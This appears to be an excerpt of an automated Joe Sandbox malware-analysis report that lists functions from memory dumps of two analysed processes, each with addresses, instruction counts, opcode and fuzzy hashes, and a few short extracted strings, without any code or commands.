Source File: 0000000B.00000002.2985320084.00007FFD9BEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9bea0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 737714519e0fd7c82eff576cae28f41cc29cc12a630b921318aa33e0b45ae8ec
Instruction ID: 194734c9cc2ff10cb9d847e16a0f5750382ed657756c94f870e2a808bf89651a
Opcode Fuzzy Hash: 737714519e0fd7c82eff576cae28f41cc29cc12a630b921318aa33e0b45ae8ec
Instruction Fuzzy Hash: 17B09280F0E28B42E53080E809B007D008C0B04200A120930950B452E3DC4B2E402150

Function 00007FFD9BEA7A71 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2985320084.00007FFD9BEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9bea0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f966052555df0c660406ad16570a789872cdbc60225a99c06a1abeb3f491dd2
Instruction ID: 5dfe8914d61140483f68354271d1e4ce851b2e0ee5b43c77d2db4b186c727204
Opcode Fuzzy Hash: 4f966052555df0c660406ad16570a789872cdbc60225a99c06a1abeb3f491dd2
Instruction Fuzzy Hash: 02B01240F0E20B57F13040F004B003C008C1B0D3C4E560530D15B451F3DC5D3B001314

Analysis Process: gNKaMdWfDFzDkhEeKzQ.exePID: 8076, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAA0D48 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

5[_H, xrefs: 00007FFD9BAA0DF3

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: 64d097ed362ad22623e7474dfa27e2589cef24af3a5489dbe7f4548b5c25fdab
Instruction ID: bd402b34c425adf2a0eee6820c2d936aeb8e553d982444de4021c250a69ca01e
Opcode Fuzzy Hash: 64d097ed362ad22623e7474dfa27e2589cef24af3a5489dbe7f4548b5c25fdab
Instruction Fuzzy Hash: 7F91F471A19A8D4FE799CB6888697A97FE1FF99314F4101BED009DB2E6CBB42811C740

Function 00007FFD9BAA08D0 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6089ae134cac3553d6db4bd9c6114a7f093c9bda77d16b696448a336cc15e2d4
Instruction ID: cf47a234f46f22bf423947d9f06118677cd0a16d1af555a49d43123309782bd3
Opcode Fuzzy Hash: 6089ae134cac3553d6db4bd9c6114a7f093c9bda77d16b696448a336cc15e2d4
Instruction Fuzzy Hash: 59412712B0C5590FE318F77C64A5AF97B81EF9933AB0445BBE44ECB1E7DE14A841C284

Function 00007FFD9BAA0960 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b56d884e0749dbb4a5d24e191474d7860d165e351cd52586bac820e81fa50166
Instruction ID: 648b26c8f676a9f3c4972c415f68660a4bc7d371d4dd182586980251394b68c1
Opcode Fuzzy Hash: b56d884e0749dbb4a5d24e191474d7860d165e351cd52586bac820e81fa50166
Instruction Fuzzy Hash: B7312B11B0C9190FE768F76C6466AF577C2DF5933AB1442BBE40EC72E7CD18AC418284

Function 00007FFD9BAA0998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b45ccb6904f88e1694ebc6acb614a1fd78ec056bc1a7981320e24918d32949
Instruction ID: 717b1d1d36069cfcbd11694a65acccec8f7176c9bc6a82748c80f1e586dbdf62
Opcode Fuzzy Hash: b7b45ccb6904f88e1694ebc6acb614a1fd78ec056bc1a7981320e24918d32949
Instruction Fuzzy Hash: 5F213720B1891D0FE79CE76C44A9A7976C2EF99325F5101B9E40EC32E6DE54EC418241

Function 00007FFD9BAA0C25 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b2d1e3c26ee9c66fa672a68224011bf89c645c81615e7efe4f056fa2d01a60
Instruction ID: 1bfe37b15c6fe8af0cf0e0a6f1e2ba92ea1a17f1f6116be0ca80e83197f56a77
Opcode Fuzzy Hash: 94b2d1e3c26ee9c66fa672a68224011bf89c645c81615e7efe4f056fa2d01a60
Instruction Fuzzy Hash: C921F336A0D68D8FE722DBA888511DD7FA0EF42325F1545B7D098CB192D534264A87A4

Function 00007FFD9BAA3C97 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9c13864cecc9e044cede35824555bcb6bff992a4a3e6d810b2a5ac261884701
Instruction ID: aeb4fa95bc19f38b0e4f4720083a1a0e1e58eeed4057272dad9ea2fdbf201a48
Opcode Fuzzy Hash: f9c13864cecc9e044cede35824555bcb6bff992a4a3e6d810b2a5ac261884701
Instruction Fuzzy Hash: 6811CA30F1E50E8BE774EB5898656B832D2FF58700F0105B9D81DD31B2EE687A404696

Function 00007FFD9BAA0C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a43b5be139fecd53ba0b184e93fe04b0500b1cf266a3fe203a9a7244561293
Instruction ID: 9a0c05002ed8173cf731c700cc803af3cd40c324e455dd02a8268da81ebd5b8b
Opcode Fuzzy Hash: d1a43b5be139fecd53ba0b184e93fe04b0500b1cf266a3fe203a9a7244561293
Instruction Fuzzy Hash: A0110235A0D78D8FE722DBA8C8512DD7FB1EF42310F0645B7C088DB1A2D534264A87A0

Function 00007FFD9BAA108D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45b91dd12c357879ba07723d1c28231d0d10201f9417d4feb01f68d7036fd081
Instruction ID: 79b0a9950d8050c13e3ad9fe9362af367e030d77755a29f95bccf99544bedeb4
Opcode Fuzzy Hash: 45b91dd12c357879ba07723d1c28231d0d10201f9417d4feb01f68d7036fd081
Instruction Fuzzy Hash: 3001D611A8E6C52FE76987B05C729A13FA5CF9726070A01FAD099CB5E3CC8D5986C361

Function 00007FFD9BAA0C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa2580e268d9c478cf0c5984e0bf372167d425f48826d3baa9f3c297ea15a322
Instruction ID: 5abafea8a87667b89b1979e44304c663adc97b9725221d9cec64dbcdf6e16cd0
Opcode Fuzzy Hash: fa2580e268d9c478cf0c5984e0bf372167d425f48826d3baa9f3c297ea15a322
Instruction Fuzzy Hash: 2C01A135A0978D8FE722DBA8C4912DD7FB1EF42314F1545B7D084DB1A2D53466498750

Function 00007FFD9BAA3317 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e7263c7685a2724cd7a1d28ff3a3a163749fae513511688e7c72a934687af86
Instruction ID: 3c83f26b851567c1d1f4189700e8e199b47958c1b6dd2184c1b5e8a61f419369
Opcode Fuzzy Hash: 5e7263c7685a2724cd7a1d28ff3a3a163749fae513511688e7c72a934687af86
Instruction Fuzzy Hash: 9611FE30E089598FDBA8DB04C8A4FA977E1EB54315F1585A9D00EE32A1CF75AEC4CF91

Function 00007FFD9BAA0C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e27851f0e175bfbdd51ee070c21d63245b1599a9823931baf87c3421401a20
Instruction ID: f7872c0b405262fc6f0d87d851338836b346c2a84f6222efa5baffa05fb52038
Opcode Fuzzy Hash: 37e27851f0e175bfbdd51ee070c21d63245b1599a9823931baf87c3421401a20
Instruction Fuzzy Hash: 4B019E31A0E38D8FD722DBA8C8902DDBFB1EF02314F1541E7D084DB2A2D5346649C790

Function 00007FFD9BAA3D09 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction ID: ab1c2ca584dbcccc287c657174d6cf8cb7731aa6f1db5f022a12b09715adcbe8
Opcode Fuzzy Hash: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction Fuzzy Hash: AE018630A5951F8AEB74AB44D8557F873E2FF54300F1140B9D81ED31B2EE7C6A844A15

Function 00007FFD9BAA0C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bdfb1ff1e96a494c48cd2e88f0b72757d48de056e59dbe65feea69bb324e8a4
Instruction ID: 4ecf97ba98e2ef47ba425b663ff47341e14e9ff03f351384ccb4ee29b5f33857
Opcode Fuzzy Hash: 6bdfb1ff1e96a494c48cd2e88f0b72757d48de056e59dbe65feea69bb324e8a4
Instruction Fuzzy Hash: EE018F30A0E3899FE722DBA4C8942DDBFB1EF02314F1541E6D494DB2A2D5786644C751

Function 00007FFD9BAA3DB8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction ID: c7dd9c3e39ea7fb364db30f26786fdceff11ad4047fc495f46450c6b6776ceb0
Opcode Fuzzy Hash: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction Fuzzy Hash: 0AF06D30A0A40E8AEA78EB84D8617B932D2AF55300F1240B9CC5EC31B3EE686A444955

Function 00007FFD9BAA10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5186ba7ea4e0bd6f0a5ef315545174b293205dcfee45e95331680205bc2ab47
Instruction ID: c00841f319facebdc62009b3d466d1124bd7a1892028d9acd7640d15dc304fc3
Opcode Fuzzy Hash: e5186ba7ea4e0bd6f0a5ef315545174b293205dcfee45e95331680205bc2ab47
Instruction Fuzzy Hash: D4E02621B5C84906EBBCA67468B25B07281DB85328B0506BED01EC22DACD496CC14281

Function 00007FFD9BAA6D82 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction ID: cf8861567d76a1507d3011d43d811af0e525bcd4f49d2ba8f42176a8baf606f2
Opcode Fuzzy Hash: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction Fuzzy Hash: B7E01230F0A51E4EF7B4A794C8607FA62A3DFA5B00F1600B4D84DD32E1CEB86E808B15

Function 00007FFD9BAA06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction ID: ca8565bc46b66d4accdf50c24f73e56f9b2d92b5b5a10dadb4f9a63a13892f4e
Opcode Fuzzy Hash: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction Fuzzy Hash: 2EC00205F5B55F01E47533AE54660ADA2425BD8E28FD71172D50C800A1A8DD229941AA

Function 00007FFD9BAA4848 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 931e59c98300123e026204c7dbff86696c4ded67b3938af9c9aee340b618705e
Instruction ID: 7adda16b51eeee50559f9ce602bcd6d0de3fd8adf48d5258d32039942994a7ca
Opcode Fuzzy Hash: 931e59c98300123e026204c7dbff86696c4ded67b3938af9c9aee340b618705e
Instruction Fuzzy Hash: BEC08C01F1C81A03E2196214443057E04438F9471CF490174E40ECB2DECF0C7E0142C7

Function 00007FFD9BAA06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction ID: 3f25e97711667b03bc81254b159532830ab9f9e30057f893008cc65cbdd1ce77
Opcode Fuzzy Hash: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction Fuzzy Hash: C4B01200D5740F00E43433FE0892078F0415B4C200FC20070D40C80091B8CD229802A7

Non-executed Functions

Function 00007FFD9BAA09B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BAA0B56
"s9, xrefs: 00007FFD9BAA0B46
!k9, xrefs: 00007FFD9BAA0B4E
#{9, xrefs: 00007FFD9BAA0B3E

Memory Dump Source

Source File: 0000000D.00000002.2061314789.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: f7fd52e860d86d1114a4c5d6513096f24893d27060a2b33ec273ab9c9595c32c
Instruction ID: 3de1e511c334ae8efb8557435fc8c1f4e3188400b906e6b4d130303b94e64b56
Opcode Fuzzy Hash: f7fd52e860d86d1114a4c5d6513096f24893d27060a2b33ec273ab9c9595c32c
Instruction Fuzzy Hash: B841CD17B0952645E23973FD78219E96B408FA923FB0847B3F55E8D0C78C086486C2E9

Analysis Process: driverSavesNet.exePID: 5720, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAB0D48 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

5Z_H, xrefs: 00007FFD9BAB0DF3

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: a973abfc0306f05af1c34d8a5298e8ec3471e0eac96485e75125c4bcaa3f1a76
Instruction ID: 3c76575c1e4adee59dbb035eb5749303cc6db6a458a9205b1e6a1ff0496485c8
Opcode Fuzzy Hash: a973abfc0306f05af1c34d8a5298e8ec3471e0eac96485e75125c4bcaa3f1a76
Instruction Fuzzy Hash: 64914671A19A9D4FE799DF6888657A87FE1FF59310F4101BED018C72E6CBB41800CB40

Function 00007FFD9BAB08D0 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5d6f8791b5eca6bef5e7bf29cd9131600c2c13e1bed217da283f85b89d4ab46
Instruction ID: cf7127328e59ac7a03519bad1b671de24ea63beb808d404b066f37efb2744941
Opcode Fuzzy Hash: c5d6f8791b5eca6bef5e7bf29cd9131600c2c13e1bed217da283f85b89d4ab46
Instruction Fuzzy Hash: 7C413712B0C6690FE724F7BC64A56F97B80DF5933AB0445BBE45ECB1E7CD14A841C284

Function 00007FFD9BAB0960 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef1b361b251c25d8b66a453ead112d76bf868a47318d84bfe021733f304932ad
Instruction ID: 465bb60b55cbe92358dd6ab59461988a233798e750f1dda7b7908e31a32d7762
Opcode Fuzzy Hash: ef1b361b251c25d8b66a453ead112d76bf868a47318d84bfe021733f304932ad
Instruction Fuzzy Hash: A131F711B1CA290FE768B76C646AAF533C1DF5833AF1545BBE41EC71E7CD18AC418284

Function 00007FFD9BAB0998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4efaa85121e7a65b185d6a3c52107fbfcf6e94751b103f2b147a238cafc7acec
Instruction ID: eadda23e56b24bc9b835808c55551eaaf106828f5b7abcd7d0088b2bec401282
Opcode Fuzzy Hash: 4efaa85121e7a65b185d6a3c52107fbfcf6e94751b103f2b147a238cafc7acec
Instruction Fuzzy Hash: 37214920B1892D0FEB58F76C84AEA7532C6EF98321F5105BDE81EC32F7DD54AC418640

Function 00007FFD9BAB0C25 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c92c991fd6a8dfc66ae28bce14373bbcda789deec5ad472d80eeb65e8be31b3
Instruction ID: 3df5c18a33a30069ce868d75b58b1847d08a6708775fd1673b655c05f067211d
Opcode Fuzzy Hash: 6c92c991fd6a8dfc66ae28bce14373bbcda789deec5ad472d80eeb65e8be31b3
Instruction Fuzzy Hash: 0F21F332A0D79D8FE722DBA888511DD7FA0EF42325F1541B7D094CB192D634664A8B84

Function 00007FFD9BAB3C97 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96f3a7660ead4bb8f53e8d8484e5fb71008028e5753a23fcd62284731fe6a541
Instruction ID: 4c6d0c3421616a65b3bbf32189dc7c1e16e734e4e81cb77fe13d98c945476e3a
Opcode Fuzzy Hash: 96f3a7660ead4bb8f53e8d8484e5fb71008028e5753a23fcd62284731fe6a541
Instruction Fuzzy Hash: F911A730E1E51D4BE774A75898656B833D1FF59700F1101BAD82DD31B2EE68AA404E86

Function 00007FFD9BAB0C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739f7c31c45ee8aa9122dde0945a9bd9ea8962605807927eb1b46d025429dbef
Instruction ID: 6c5f9faed56e03212b84117797723dba3af10962fc3c990085055615611ae450
Opcode Fuzzy Hash: 739f7c31c45ee8aa9122dde0945a9bd9ea8962605807927eb1b46d025429dbef
Instruction Fuzzy Hash: 06112531B0D79C8FE722EBA8C8612DD7FB0EF42310F1641B7C090DB1A2D63466098B80

Function 00007FFD9BAB108D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16dd7c79c6ca266750eef0de3bf14c59b9baf4cd101df9837acba86cd09d91bf
Instruction ID: d713ae05608efd47712bd827ea6bc5ed9e23ace33a6c9d07b25d5825108845f3
Opcode Fuzzy Hash: 16dd7c79c6ca266750eef0de3bf14c59b9baf4cd101df9837acba86cd09d91bf
Instruction Fuzzy Hash: 4301262199E6D51FE72987B44C729B13FA1CF97260B0A01FAD099CB5E3CC8D18868351

Function 00007FFD9BAB0C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fe95389b1ec8c6f3a7a0b10f9ce88dafcf0245c95d701c4028abaf394fae0f0
Instruction ID: 3cff18062c6a725b4c07bc732bb371a096a85d19a69ee5b3cdf1186aa1e5b980
Opcode Fuzzy Hash: 0fe95389b1ec8c6f3a7a0b10f9ce88dafcf0245c95d701c4028abaf394fae0f0
Instruction Fuzzy Hash: F701C431A0D78C8FE722DBA8C8612DD7FB0EF42314F1541F7D090DB1A2D63466498B80

Function 00007FFD9BAB3317 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d5b2302eec1c758ef2a4cb3610c58a51d787e6e44197355fadb5f1b8523dcef
Instruction ID: 2e937e5e62a7517899a8c879aa617fa7b8226e554175708678c66760904271b2
Opcode Fuzzy Hash: 5d5b2302eec1c758ef2a4cb3610c58a51d787e6e44197355fadb5f1b8523dcef
Instruction Fuzzy Hash: 21110031E089698FDB98DB04C895FA973E1EB54315F1185AAD01FE32A1CE75AEC4CF81

Function 00007FFD9BAB0C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b1e8e3c86aaa5af046af184721f08a4d3af567f6de01add5df7f4f5e13b49f6
Instruction ID: 62a3e48ad02cb178f3c55ec282e34e5f76a4342412f16703ecdddaf93787b9cb
Opcode Fuzzy Hash: 5b1e8e3c86aaa5af046af184721f08a4d3af567f6de01add5df7f4f5e13b49f6
Instruction Fuzzy Hash: 4C019E31A0E38C8FE722EBA8C8502DD7FB0EF02314F1541E7D090DB2A2D6346649CB80

Function 00007FFD9BAB3D09 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction ID: adc986f273626403824b0ea1ca431328e2f63363f4d2cb6707c08dedfefdb0a6
Opcode Fuzzy Hash: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
